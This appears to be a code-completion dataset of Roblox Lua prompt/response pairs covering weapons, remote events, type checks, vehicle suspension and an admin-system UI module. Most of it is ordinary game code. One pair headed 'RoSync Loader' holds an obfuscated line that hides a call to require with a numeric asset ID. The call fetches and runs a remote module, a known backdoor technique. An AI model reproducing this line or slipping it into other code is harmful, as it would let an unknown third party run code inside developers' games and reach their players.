Prompt: -- Configurable variables

Response:
local configs = require(tool.Configurations)
currentAmmo = configs.clipSize
local attackCooldown = configs.attackCooldown
local range = configs.range
local bulletSpeed = configs.bulletSpeed
local bulletDrop = configs.bulletDrop
local headDamage = configs.headDamage
local torsoDamage = configs.torsoDamage
local otherDamage = configs.otherDamage
local reloadTime = configs.reloadTime
local clipSize = configs.clipSize
local extraAmmo = configs.extraAmmo
local hitParticles = configs.hitParticles
local infiniteAmmo = configs.infiniteAmmo
local consolidateAmmo = configs.consolidateAmmo

currentAmmo = clipSize

if infiniteAmmo then
	ammoLeft = clipSize
else
	ammoLeft = extraAmmo
end


Prompt: --[[ Last synced 12/17/2020 02:32 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt:
--[[ Use Examples

-- To be used on the client.
local fullscreenModule = require(game:GetService("ReplicatedStorage"):WaitForChild("FullscreenModule"))
local screen = workspace:WaitForChild("CountdownBoardPart")

-- Creates a button that allows the user to toggle focus on a screen
fullscreenModule.CreateButtonToFocusScreen(screen)

fullscreenModule.FocusScreen(screen)	-- Forces the client to focus on a screen
wait(5)
fullscreenModule.FocusScreen()	-- Forces the client to focus back on their character

]]

Response:
local fullscreenModule = {}
fullscreenModule.FocusedScreen = nil

local TweenService = game:GetService("TweenService")
local PlayersService = game:GetService("Players")
local RunService = game:GetService("RunService")
local StarterPlayer = game:GetService("StarterPlayer")
local UserInputService = game:GetService("UserInputService")

local buttonGuiTemplate = script:WaitForChild("FullscreenButtonGui")
local localPlayer = PlayersService.LocalPlayer
local camera = workspace.CurrentCamera
local buttonGui = nil
local button = nil
local buttonTargetScreen = nil
local buttonConnection = nil
local gamepadButtonConnection = nil
local lockCameraConnection = nil
local characterCamCF = nil
local characterCamCFIsRelative = false
local transitionCount = 0

local ZOOM_IN_ICON = "rbxassetid://9597519667"
local ZOOM_OUT_ICON = "rbxassetid://9597519299"

local FULLSCREEN_GAMEPAD_BUTTON = Enum.KeyCode.ButtonY
local FULLSCREEN_GAMEPAD_BUTTON_ICON = "rbxassetid://9596106684"
local BACKOUT_GAMEPAD_BUTTON = Enum.KeyCode.ButtonB
local BACKOUT_GAMEPAD_BUTTON_ICON = "rbxassetid://9596106237"


Response:
script.Parent.ClickDetector.MouseClick:connect(function(plr)
	local Check = CheckUser(plr,true)
	if enabled == true and Check == true then
		regenerate()
	end
end)


Prompt:
--[[

	remoteSignal = RemoteSignal.new()

	remoteSignal:Connect(handler: (player: Player, ...args: any) -> void): RBXScriptConnection
	remoteSignal:Fire(player: Player, ...args: any): void
	remoteSignal:FireAll(...args: any): void
	remoteSignal:FireExcept(player: Player, ...args: any): void
	remoteSignal:Wait(): (...any)
	remoteSignal:Destroy(): void

--]]

Response:
local IS_SERVER = game:GetService("RunService"):IsServer()

local t = require( script.Parent.Parent.t )

local Players = game:GetService("Players")
local Ser = require(script.Parent.Parent.Ser)

local RemoteSignal = {}
RemoteSignal.__index = RemoteSignal

function RemoteSignal.Is(object)
	return type(object) == "table" and getmetatable(object) == RemoteSignal
end

function RemoteSignal.new()
	assert(IS_SERVER, "RemoteSignal can only be created on the server")
	local self = setmetatable({
		_remote = Instance.new("RemoteEvent");
	}, RemoteSignal)
	return self
end

local tFire = t.tuple( t.instanceIsA("Player") )
function RemoteSignal:Fire(player, ...)
	assert( tFire(player) )
	self._remote:FireClient(player, Ser.SerializeArgsAndUnpack(...))
end

function RemoteSignal:FireAll(...)
	self._remote:FireAllClients(Ser.SerializeArgsAndUnpack(...))
end

local tFireExcept = t.tuple( t.instanceIsA("Player") )
function RemoteSignal:FireExcept(player, ...)
	assert( tFireExcept(player) )
	local args = Ser.SerializeArgs(...)
	for _,plr in ipairs(Players:GetPlayers()) do
		if plr ~= player then
			self._remote:FireClient(plr, Ser.UnpackArgs(args))
		end
	end
end

local tFireSome = t.tuple( t.values(t.instanceIsA("Player")) )
function RemoteSignal:FireSome( playerList: {}, ... ): ()
	assert( tFireSome(playerList) )
	local args = Ser.SerializeArgs( ... )
	for _, player: Player in pairs( playerList ) do
		if ( player and player:IsDescendantOf(Players) ) then
			self._remote:FireClient( player, Ser.UnpackArgs(args) )
		end
	end
end

function RemoteSignal:Wait()
	return self._remote.OnServerEvent:Wait()
end

function RemoteSignal:Connect(handler)
	return self._remote.OnServerEvent:Connect(function(player, ...)
		handler(player, Ser.DeserializeArgsAndUnpack(...))
	end)
end

function RemoteSignal:Destroy()
	self._remote:Destroy()
	self._remote = nil
end

return RemoteSignal


Prompt: --[[ Utility functions specific to OrbitalCamera ]]

Response:
--
local function GetValueObject(name, defaultValue)
	local valueObj = script:FindFirstChild(name)
	if valueObj then
		return valueObj.Value
	end
	return defaultValue
end


Prompt:
--[[
	@class SoftShutdownUI.story
]]

Response:
local require = require(game:GetService("ServerScriptService"):FindFirstChild("LoaderUtils", true).Parent).load(script)

local Maid = require("Maid")
local SoftShutdownTranslator = require("SoftShutdownTranslator")
local SoftShutdownUI = require("SoftShutdownUI")
local ServiceBag = require("ServiceBag")

return function(target)
	local maid = Maid.new()
	local serviceBag = ServiceBag.new()
	maid:GiveTask(serviceBag)

	local translator = serviceBag:GetService(SoftShutdownTranslator)

	local softShutdownUI = SoftShutdownUI.new()
	maid:GiveTask(softShutdownUI)

	maid:GivePromise(translator:PromiseFormatByKey("shutdown.lobby.title")):Then(function(text)
		softShutdownUI:SetTitle(text)
	end)

	maid:GivePromise(translator:PromiseFormatByKey("shutdown.lobby.subtitle")):Then(function(text)
		softShutdownUI:SetSubtitle(text)
	end)

	softShutdownUI:Show()

	softShutdownUI.Gui.Parent = target

	return function()
		maid:DoCleaning()
	end
end


Prompt: --Do not change anything below unless you know what youre doing!

Response:
script.Parent.Sound:Play()

script.Parent.MouseButton1Click:connect(function()
 if script.Parent.Sound.IsPlaying then
  script.Parent.Sound:Stop()
  script.Parent.TextLabel.Visible= false
  script.Parent.TextLabel2.Visible=true
 else
 script.Parent.Sound:Play()
 script.Parent.TextLabel.Visible=true
 script.Parent.TextLabel2.Visible=false

 end
end)


Prompt: -- Water and sounds --

Response: local showerSound = p.ShowerHead.Spout.ShowerSound


Prompt: --People

Response:
PeopleOn = false
People = {"bluelego07091","",""}


Response:
equiped=false
sp=script.Parent
RayLength=100000
Spread=0.06
enabled=true
reloading=false
down=false
r=game:service("RunService")
last=0
last2=0
last3=0
last4=0
last5=0
last6=0

p = Instance.new("Part")
p.Parent = game.Lighting
p.Name = "BulletTexture"
p.CanCollide = false
p.formFactor = "Custom"
p.Size = Vector3.new(1,0.1,1)
p.Transparency = 1
g = Instance.new("SpecialMesh")
g.Parent = p

Bullet=Instance.new("Part")
Bullet.Name="Bullet"
Bullet.BrickColor=BrickColor.new("New Yeller")
Bullet.Anchored=true
Bullet.CanCollide=false
Bullet.Locked=true
Bullet.Size=Vector3.new(1,1,1)


Prompt: -- Create CameraShaker instance:

Response:
local renderPriority = Enum.RenderPriority.Camera.Value + 1
local camShake = CameraShaker.new(renderPriority, ShakeCamera)


Prompt:
-- If you want a spotlight to flicker, just add a spotlight in, delete the pointlight, then change script.Parent.Pointlight to script.Parent.Spotlight
-- Your welcome!


Prompt:
--!strict
--[=[
  @function map
  @within Set

  @param set { [T]: boolean } -- The set to map.
  @param mapper (T, {[T]: boolean}) -> U -- The mapper function.
  @return {[U]: boolean} -- The mapped set.

  Iterates over a set, calling a mapper function for each item.

  ```lua
  local set = { hello = true, world = true }

  local mappedSet = Map(set, function(value)
    return value .. "!"
  end) -- { ["hello!"] = true, ["world!"] = true }
  ```
]=]

Response:
local function map<T, U>(set: { [T]: boolean }, mapper: (T, { [T]: boolean }) -> U): { [U]: boolean }
	local result = {}

	for key, _ in pairs(set) do
		local mappedKey = mapper(key, set)

		if mappedKey ~= nil then
			result[mappedKey] = true
		end
	end

	return result
end

return map


Prompt:
--[[**
	ensures value is a table and all keys pass valueCheck and all values are true

	@param valueCheck The function to use to check the values

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.set(valueCheck)
	return t.map(valueCheck, t.literal(true))
end

do
	local arrayKeysCheck = t.keys(t.integer)
	--[[**
		ensures value is an array and all values of the array match check

		@param check The check to compare all values with

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.array(check)
		assert(t.callback(check))
		local valuesCheck = t.values(check)

		return function(value)
			local keySuccess, keyErrMsg = arrayKeysCheck(value)
			if keySuccess == false then
				return false, string.format("[array] %s", keyErrMsg or "")
			end

			-- # is unreliable for sparse arrays
			-- Count upwards using ipairs to avoid false positives from the behavior of #
			local arraySize = 0

			for _ in ipairs(value) do
				arraySize = arraySize + 1
			end

			for key in pairs(value) do
				if key < 1 or key > arraySize then
					return false, string.format("[array] key %s must be sequential", tostring(key))
				end
			end

			local valueSuccess, valueErrMsg = valuesCheck(value)
			if not valueSuccess then
				return false, string.format("[array] %s", valueErrMsg or "")
			end

			return true
		end
	end

	--[[**
		ensures value is an array of a strict makeup and size

		@param check The check to compare all values with

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.strictArray(...)
		local valueTypes = { ... }
		assert(t.array(t.callback)(valueTypes))

		return function(value)
			local keySuccess, keyErrMsg = arrayKeysCheck(value)
			if keySuccess == false then
				return false, string.format("[strictArray] %s", keyErrMsg or "")
			end

			-- If there's more than the set array size, disallow
			if #valueTypes < #value then
				return false, string.format("[strictArray] Array size exceeds limit of %d", #valueTypes)
			end

			for idx, typeFn in pairs(valueTypes) do
				local typeSuccess, typeErrMsg = typeFn(value[idx])
				if not typeSuccess then
					return false, string.format("[strictArray] Array index #%d - %s", idx, typeErrMsg)
				end
			end

			return true
		end
	end
end

do
	local callbackArray = t.array(t.callback)
	--[[**
		creates a union type

		@param ... The checks to union

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.union(...)
		local checks = {...}
		assert(callbackArray(checks))

		return function(value)
			for _, check in ipairs(checks) do
				if check(value) then
					return true
				end
			end

			return false, "bad type for union"
		end
	end

	--[[**
		Alias for t.union
	**--]]
	t.some = t.union

	--[[**
		creates an intersection type

		@param ... The checks to intersect

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.intersection(...)
		local checks = {...}
		assert(callbackArray(checks))

		return function(value)
			for _, check in ipairs(checks) do
				local success, errMsg = check(value)
				if not success then
					return false, errMsg or ""
				end
			end

			return true
		end
	end

	--[[**
		Alias for t.intersection
	**--]]
	t.every = t.intersection
end

do
	local checkInterface = t.map(t.any, t.callback)
	--[[**
		ensures value matches given interface definition

		@param checkTable The interface definition

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.interface(checkTable)
		assert(checkInterface(checkTable))
		return function(value)
			local tableSuccess, tableErrMsg = t.table(value)
			if tableSuccess == false then
				return false, tableErrMsg or ""
			end

			for key, check in pairs(checkTable) do
				local success, errMsg = check(value[key])
				if success == false then
					return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "")
				end
			end

			return true
		end
	end

	--[[**
		ensures value matches given interface definition strictly

		@param checkTable The interface definition

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.strictInterface(checkTable)
		assert(checkInterface(checkTable))
		return function(value)
			local tableSuccess, tableErrMsg = t.table(value)
			if tableSuccess == false then
				return false, tableErrMsg or ""
			end

			for key, check in pairs(checkTable) do
				local success, errMsg = check(value[key])
				if success == false then
					return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "")
				end
			end

			for key in pairs(value) do
				if not checkTable[key] then
					return false, string.format("[interface] unexpected field %q", tostring(key))
				end
			end

			return true
		end
	end
end


Prompt: --//sw

Response:
local sw = Instance.new("Motor", script.Parent.Parent.Misc.SW.SS)
sw.MaxVelocity = 0.267
sw.Part0 = script.Parent.SW
sw.Part1 = sw.Parent


Response:
local  Paint = false

script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Buttermilk",Paint)
end)


Prompt:
--[=[
	@param fn (player: Player, ...: any) -> nil -- The function to connect
	@return Connection
	Connect a function to the signal. Anytime a matching ClientRemoteSignal
	on a client fires, the connected function will be invoked with the
	arguments passed by the client.
]=]

Response:
function RemoteSignal:Connect(fn)
	if self._directConnect then
		return self._re.OnServerEvent:Connect(fn)
	else
		return self._signal:Connect(fn)
	end
end

function RemoteSignal:_processOutboundMiddleware(player: Player?, ...: any)
	if not self._hasOutbound then
		return ...
	end
	local args = table.pack(...)
	for _, middlewareFunc in ipairs(self._outbound) do
		local middlewareResult = table.pack(middlewareFunc(player, args))
		if not middlewareResult[1] then
			return table.unpack(middlewareResult, 2, middlewareResult.n)
		end
		args.n = #args
	end
	return table.unpack(args, 1, args.n)
end


Prompt: -- Keep track of viewport half-size

Response:
local viewportHalf = game.Workspace.CurrentCamera.ViewportSize * 0.5
game.Workspace.CurrentCamera.Changed:Connect(function()
	viewportHalf = game.Workspace.CurrentCamera.ViewportSize * 0.5
end)

local Guis = script:WaitForChild("Guis")


Prompt: ---- Services ----

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local UserInputService = game:GetService("UserInputService")


Prompt: --Main--

Response:
script.Parent.Spawn.MouseButton1Click:connect (function ()
script.Parent.Enabled = false
Camera.CameraType = "Custom"

function setTeam(player, teamName)
     player.TeamColor = game.Teams[teamName].TeamColor
     if player.Character then
     end
 end

for _, player in pairs(game.Players:GetPlayers()) do
     setTeam(player, "Grey Team") ---- Change this to the team you want them to be on once they are done customizing their character
 end

local MasterControl = require(game.Players.LocalPlayer:WaitForChild("PlayerScripts"):WaitForChild("ControlScript"):WaitForChild("MasterControl"))

MasterControl:Enable()

end)


Prompt:
--[=[
	Detects if a table is a dictionary, meaning it is not purely number indexes.

	```lua
	local Array = {"A", "B", "C", "D"}
	local Dictionary = { NotAnArray = true }

	print(TableKit.IsDictionary(Array), TableKit.IsDictionary(Dictionary)) -- prints false, true
	```

	@within TableKit
	@param mysteryTable table
	@return boolean
]=]

Response:
function TableKit.IsDictionary(mysteryTable: { [unknown]: unknown }): boolean
	local count = 0
	for _ in mysteryTable do
		count += 1
	end
	return count ~= #mysteryTable
end


Prompt: -- ROBLOX MOVED: expect/utils.lua

Response:
local function isObjectWithKeys(a: any)
	return isObject(a) and (next(a) == nil or not Array.isArray(a))
end


Prompt: --[[Chassis Assembly]]

Response:
		--Create Steering Axle
		local arm=Instance.new("Part",v)
		arm.Name="Arm"
		arm.Anchored=true
		arm.CanCollide=false
		arm.FormFactor=Enum.FormFactor.Custom
		arm.Size=Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize)
		arm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0)
		arm.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,0,0)
		arm.TopSurface=Enum.SurfaceType.Smooth
		arm.BottomSurface=Enum.SurfaceType.Smooth
		arm.Transparency=1

		if PGS_ON then

	--PGS Assembly---------------------------------------------------------------------------------------------------------------------------

			--Suspension Offsets
			local fAnchorOffset = Vector3.new(_Tune.FAnchorOffset[1],_Tune.FAnchorOffset[2],_Tune.FAnchorOffset[3])
			local rAnchorOffset = Vector3.new(_Tune.RAnchorOffset[1],_Tune.RAnchorOffset[2],_Tune.RAnchorOffset[3])

			--Create Wheel Suspsension Anchor
			local anchor2=arm:Clone()
			anchor2.Parent=v
			anchor2.Name="Base"
			if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then
				anchor2.CFrame=anchor2.CFrame*CFrame.new(fAnchorOffset)
			else
				anchor2.CFrame=anchor2.CFrame*CFrame.new(rAnchorOffset)
			end

			--Create Body Suspsension Anchor
			local anchor1=anchor2:Clone()
			anchor1.Parent=v
			anchor1.Name="Anchor"
			if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then
				anchor1.CFrame=anchor1.CFrame*CFrame.new(-_Tune.FSusLength*math.cos(math.rad(_Tune.FSusAngle)),_Tune.FSusLength*math.sin(math.rad(_Tune.FSusAngle)),0)
			else
				anchor1.CFrame=anchor1.CFrame*CFrame.new(-_Tune.RSusLength*math.cos(math.rad(_Tune.RSusAngle)),_Tune.RSusLength*math.sin(math.rad(_Tune.RSusAngle)),0)
			end

			--Create Attachments
			local s0=Instance.new("Attachment",anchor1)
			local s1=Instance.new("Attachment",anchor2)
			local p0=Instance.new("Attachment",anchor1)
			local r0=Instance.new("Attachment",car.DriveSeat)
			local h0=Instance.new("Attachment",car.DriveSeat)
			local a0=Instance.new("Attachment",anchor2)
			local a1=Instance.new("Attachment",arm)
			local a2=Instance.new("Attachment",arm)
			local a3=Instance.new("Attachment",v)
			s0.Name="S0"
			s1.Name="S1"
			p0.Name="P0"
			r0.Name="R0"
			h0.Name="H0"
			a0.Name="A0"
			a1.Name="A1"
			a2.Name="A2"
			a3.Name="A3"

			--Calculate Wishbone Anchor Point
			local rAnc0=(arm.CFrame*CFrame.new(fAnchorOffset+Vector3.new(-math.cos(math.rad(_Tune.FWsBoneAngle))*_Tune.FWsBoneLen,math.sin(math.rad(_Tune.FWsBoneAngle))*_Tune.FWsBoneLen,0))).p
			if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then
				rAnc0=(arm.CFrame*CFrame.new(rAnchorOffset+Vector3.new(-math.cos(math.rad(_Tune.RWsBoneAngle))*_Tune.RWsBoneLen,math.sin(math.rad(_Tune.RWsBoneAngle))*_Tune.RWsBoneLen,0))).p
			end

			--Apply Attachment Alignment
			p0.Position=anchor1.CFrame:toObjectSpace(CFrame.new(anchor2.Position)).p
			r0.Position=car.DriveSeat.CFrame:toObjectSpace(CFrame.new(rAnc0)).p
			h0.Position=car.DriveSeat.CFrame:toObjectSpace(CFrame.new(anchor1.Position)).p
			a0.Position=anchor2.CFrame:toObjectSpace(CFrame.new(arm.Position)).p
			if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then
				p0.Rotation=Vector3.new(0,0,-_Tune.FSusAngle)
				s1.Rotation=Vector3.new(0,0,-_Tune.FSusAngle)
			else
				p0.Rotation=Vector3.new(0,0,-_Tune.RSusAngle)
				s1.Rotation=Vector3.new(0,0,-_Tune.RSusAngle)
			end
			if v.Name=="FL" then
				s0.Rotation=Vector3.new(0,90+_Tune.FToe,0)
			elseif v.Name=="FR" then
				s0.Rotation=Vector3.new(0,90-_Tune.FToe,0)
			elseif v.Name=="RL" then
				s0.Rotation=Vector3.new(0,90+_Tune.RToe,0)
			elseif v.Name=="RR" then
				s0.Rotation=Vector3.new(0,90-_Tune.RToe,0)
			else
				s0.Rotation=Vector3.new(0,-90,0)
			end
			h0.Rotation=Vector3.new(0,-90,0)
			a0.Rotation=Vector3.new(90,90,0)
			a1.Rotation=Vector3.new(90,90,0)
			a2.Rotation=Vector3.new(0,0,0)
			a3.Rotation=Vector3.new(0,0,90)
			if v.Name=="FR" or v.Name=="RR" then
				h0.Rotation=Vector3.new(0,90,0)
				a2.Rotation=Vector3.new(-180,00,0)
			end

			if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then
				--Lock Rear Steering Axle
				MakeWeld(anchor2,arm)
			else
				--Create Steering Hinge
				local h2=Instance.new("HingeConstraint",v)
				h2.Attachment0=a0
				h2.Attachment1=a1
			end

			--Create Wheel Spindle
			local h3=Instance.new("HingeConstraint",v)
			h3.Attachment0=a2
			h3.Attachment1=a3
			h3.Name = "#AV"
			h3.ActuatorType=Enum.ActuatorType.Motor

			--Apply Suspension
			if _Tune.SusEnabled then
			--Suspension Enabled
				local h1=Instance.new("HingeConstraint",v)
				h1.Attachment0=h0
				h1.Attachment1=s0

				local sus=Instance.new("SpringConstraint",v)
				sus.Attachment0=s0
				sus.Attachment1=s1
				sus.Visible=_Tune.SusVisible
				sus.Radius=_Tune.SusRadius
				sus.Thickness=_Tune.SusThickness
				sus.Color=BrickColor.new(_Tune.SusColor)
				sus.Coils=_Tune.SusCoilCount
				sus.LimitsEnabled=true
				if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then
					sus.MinLength=_Tune.FSusLength-math.abs(_Tune.FSusMaxComp)
					sus.MaxLength=_Tune.FSusLength+math.abs(_Tune.FSusMaxExt)
					sus.FreeLength=_Tune.FSusLength+math.abs(_Tune.FSusMaxExt)
					sus.Damping=_Tune.FSusDamping
					sus.Stiffness=_Tune.FSusStiffness
				else
					sus.MinLength=_Tune.RSusLength-math.abs(_Tune.RSusMaxComp)
					sus.MaxLength=_Tune.RSusLength+math.abs(_Tune.RSusMaxExt)
					sus.FreeLength=_Tune.RSusLength+math.abs(_Tune.RSusMaxExt)
					sus.Damping=_Tune.RSusDamping
					sus.Stiffness=_Tune.RSusStiffness
				end

				local rod=Instance.new("RodConstraint",v)
				rod.Attachment0=r0
				rod.Attachment1=s1
				rod.Length=rod.CurrentDistance
				rod.Visible=_Tune.WsBVisible
				rod.Color=BrickColor.new(_Tune.WsColor)
				rod.Thickness=_Tune.WsThickness

				local prm=Instance.new("PrismaticConstraint",v)
				prm.Attachment0=p0
				prm.Attachment1=s1
			else
			--Suspension Disabled
				anchor1:Destroy()
				MakeWeld(car.DriveSeat,anchor2)
			end

			--Weld Miscelaneous Parts
			if v:FindFirstChild("SuspensionFixed")~=nil then
				ModelWeld(v.SuspensionFixed,anchor2)
			end
			if v:FindFirstChild("WheelFixed")~=nil then
				ModelWeld(v.WheelFixed,arm)
			end
			if v:FindFirstChild("Fixed")~=nil then
				ModelWeld(v.Fixed,arm)
			end
		else

	--Legacy Assembly---------------------------------------------------------------------------------------------------------------------------

			--Create Wheel Spindle
			local base=arm:Clone()
			base.Parent=v
			base.Name="Base"
			base.CFrame=base.CFrame*CFrame.new(0,_Tune.AxleSize,0)
			base.BottomSurface=Enum.SurfaceType.Hinge

			--Create Steering Anchor
			local axle=arm:Clone()
			axle.Parent=v
			axle.Name="Axle"
			axle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
			axle.BackSurface=Enum.SurfaceType.Hinge

			if v.Name=="F" or v.Name=="R" then
				local axle2=arm:Clone()
				axle2.Parent=v
				axle2.Name="Axle"
				axle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
				axle2.BackSurface=Enum.SurfaceType.Hinge
				MakeWeld(arm,axle2)
			end

			--Lock Rear Steering Axle
			if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then
				MakeWeld(base,axle)
			end

			--Weld Assembly
			MakeWeld(car.DriveSeat,base)
			if v.Parent.Name == "RL" or v.Parent.Name == "RR" or v.Name=="R" then
				MakeWeld(car.DriveSeat,arm)
			end

			MakeWeld(arm,axle)

			arm:MakeJoints()
			axle:MakeJoints()

			--Weld Miscelaneous Parts
			if v:FindFirstChild("SuspensionFixed")~=nil then
				ModelWeld(v.SuspensionFixed,car.DriveSeat)
			end
			if v:FindFirstChild("WheelFixed")~=nil then
				ModelWeld(v.WheelFixed,axle)
			end
			if v:FindFirstChild("Fixed")~=nil then
				ModelWeld(v.Fixed,arm)
			end
		end
	---------------------------------------------------------------------------------------------------------------------------

		--Weld Wheel Parts
		if v:FindFirstChild("Parts")~=nil then
			ModelWeld(v.Parts,v)
		end

		--Add Steering Gyro
		if v:FindFirstChild("Steer") then
			v:FindFirstChild("Steer"):Destroy()
		end

		if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
			local steer=Instance.new("BodyGyro",arm)
			steer.Name="Steer"
			steer.P=_Tune.SteerP
			steer.D=_Tune.SteerD
			steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0)
			steer.cframe=v.CFrame*CFrame.Angles(0,-math.pi/2,0)
		end

		--Add Stabilization Gyro
		local gyro=Instance.new("BodyGyro",v)
		gyro.Name="Stabilizer"
		gyro.MaxTorque=Vector3.new(1,0,1)
		gyro.P=0
		if v.Name=="FL" or v.Name=="FR"  or v.Name=="F" then
			gyro.D=_Tune.FGyroDamp
		else
			gyro.D=_Tune.RGyroDamp
		end

		--Add Rotational BodyMover
		if not PGS_ON then
			local AV=Instance.new("BodyAngularVelocity",v)
			AV.Name="#AV"
			AV.angularvelocity=Vector3.new(0,0,0)
			AV.maxTorque=Vector3.new(_Tune.PBrakeForce,0,_Tune.PBrakeForce)
			AV.P=1e9
		end
	end


Prompt: -- [ SERVICES ] --

Response: local tween = game:GetService("TweenService")


Response:
local spd=script.Speed:Clone()
spd.Parent = model.Part1
spd.Value = 0.05

local die=script.Died:Clone()
die.Parent = model.Part1
die.Disabled = false

local scr=script.MovedBlock:Clone()
scr.Parent = model.Part1
scr.Disabled = false


Prompt: --s.Pitch = 0.7

Response:
while s.Pitch<1 do
	s.Volume=1
s.Pitch=s.Pitch+0.0060
s:Play()
if s.Pitch>1 then
	s.Pitch=1
end
wait(0.001)
end


Prompt:
--[[**
	Gets an array of the given group's allies.
	@param [Integer] GroupID The group you are checking.
	@returns [Array] All of the group's allies in an array.
**--]]

Response:
function GroupService:GetGroupAlliesAsync(GroupID)
	local Success, GroupAlliesPages = pcall(RbxGroupService.GetAlliesAsync, RbxGroupService, GroupID)
	return Success and PagesToArray(GroupAlliesPages) or {}
end


Prompt: -- Constructor

Response:
function Maid.new()
	return setmetatable({
		_tasks = {}
	}, Maid)
end


Prompt: --// Processing

Response:
return function(Vargs, GetEnv)
	local env = GetEnv(nil, {script = script})
	setfenv(1, env)

	local _G, game, script, getfenv, setfenv, workspace,
	getmetatable, setmetatable, loadstring, coroutine,
	rawequal, typeof, print, math, warn, error,  pcall,
	xpcall, select, rawset, rawget, ipairs, pairs,
	next, Rect, Axes, os, time, Faces, unpack, string, Color3,
	newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
	NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
	NumberSequenceKeypoint, PhysicalProperties, Region3int16,
	Vector3int16, require, table, type, wait,
	Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
		_G, game, script, getfenv, setfenv, workspace,
	getmetatable, setmetatable, loadstring, coroutine,
	rawequal, typeof, print, math, warn, error,  pcall,
	xpcall, select, rawset, rawget, ipairs, pairs,
	next, Rect, Axes, os, time, Faces, unpack, string, Color3,
	newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
	NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
	NumberSequenceKeypoint, PhysicalProperties, Region3int16,
	Vector3int16, require, table, type, wait,
	Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay

	local UIFolder = client.UIFolder

	local script = script

	local service = Vargs.Service
	local client = Vargs.Client

	local GetEnv = env.GetEnv

	local Anti, Core, Functions, Process, Remote, UI, Variables, Deps
	local CloneTable, TrackTask
	local function Init()
		UI = client.UI;
		Anti = client.Anti;
		Core = client.Core;
		Variables = client.Variables
		Functions = client.Functions;
		Process = client.Process;
		Remote = client.Remote;
		Deps = client.Deps;

		CloneTable = service.CloneTable;
		TrackTask = service.TrackTask;

		UI.Init = nil;
	end

	local function RunLast()
		--[[client = service.ReadOnly(client, {
				[client.Variables] = true;
				[client.Handlers] = true;
				G_API = true;
				G_Access = true;
				G_Access_Key = true;
				G_Access_Perms = true;
				Allowed_API_Calls = true;
				HelpButtonImage = true;
				Finish_Loading = true;
				RemoteEvent = true;
				ScriptCache = true;
				Returns = true;
				PendingReturns = true;
				EncodeCache = true;
				DecodeCache = true;
				Received = true;
				Sent = true;
				Service = true;
				Holder = true;
				GUIs = true;
				LastUpdate = true;
				RateLimits = true;

				Init = true;
				RunLast = true;
				RunAfterInit = true;
				RunAfterLoaded = true;
				RunAfterPlugins = true;
			}, true)--]]
		UI.DefaultTheme = Remote.Get("Setting","DefaultTheme");
		UI.RunLast = nil;
	end

	getfenv().client = nil
	getfenv().service = nil
	getfenv().script = nil

	client.UI = {
		Init = Init;
		RunLast = RunLast;
		GetHolder = function()
			if UI.Holder and UI.Holder.Parent == service.PlayerGui then
				return UI.Holder
			else
				pcall(function()if UI.Holder then UI.Holder:Destroy()end end)
				local new = service.New("ScreenGui", {
					Name = Functions.GetRandom(),
					Parent = service.PlayerGui,
				});
				UI.Holder = new
				return UI.Holder
			end
		end;

		Prepare = function(gui)
			if true then return gui end	--// Disabled

			local gTable = UI.Get(gui,false,true)
			if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then
				local new = Instance.new("TextLabel")
				new.BackgroundTransparency = 1
				new.Size = UDim2.new(1,0,1,0)
				new.Name = gui.Name
				new.Active = true
				new.Text = ""

				for ind,child in gui:GetChildren() do
					child.Parent = new
				end

				if gTable then
					gTable:Register(new)
				end

				gui:Destroy()

				return new
			else
				return gui
			end
		end;

		LoadModule = function(module, data, env)
			data = data or {}

			local ran, func = pcall(require, module)
			local newEnv = GetEnv(env, {
				script = module,
				client = CloneTable(client),
				service = CloneTable(service)
			})

			if newEnv.service.Threads then
				newEnv.service.Threads = CloneTable(service.Threads)
			end

			for i,v in newEnv.client do
				if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then
					newEnv.client[i] = CloneTable(v)
				end
			end

			if ran then
				--// Temporarily disabled NoEnv; it seems to be causing some issues(?)
				--// ~ Expertcoderz

				--[[if (data.isModifier and not data.modNoEnv) or (not data.isModifier and data.isCode and not data.NoEnv) then
					setfenv(func, env)
				end]]

				local rets = {
					TrackTask("UI: ".. module:GetFullName(),
						--func,
						setfenv(func, newEnv),
						data,
						newEnv
					)
				}

				if rets[1] then
					return unpack(rets, 2)
				else
					warn("Error while running module", module.Name, rets[2])
					client.LogError("Error loading ".. module.Name .." - ".. tostring(rets[2]))
				end
			else
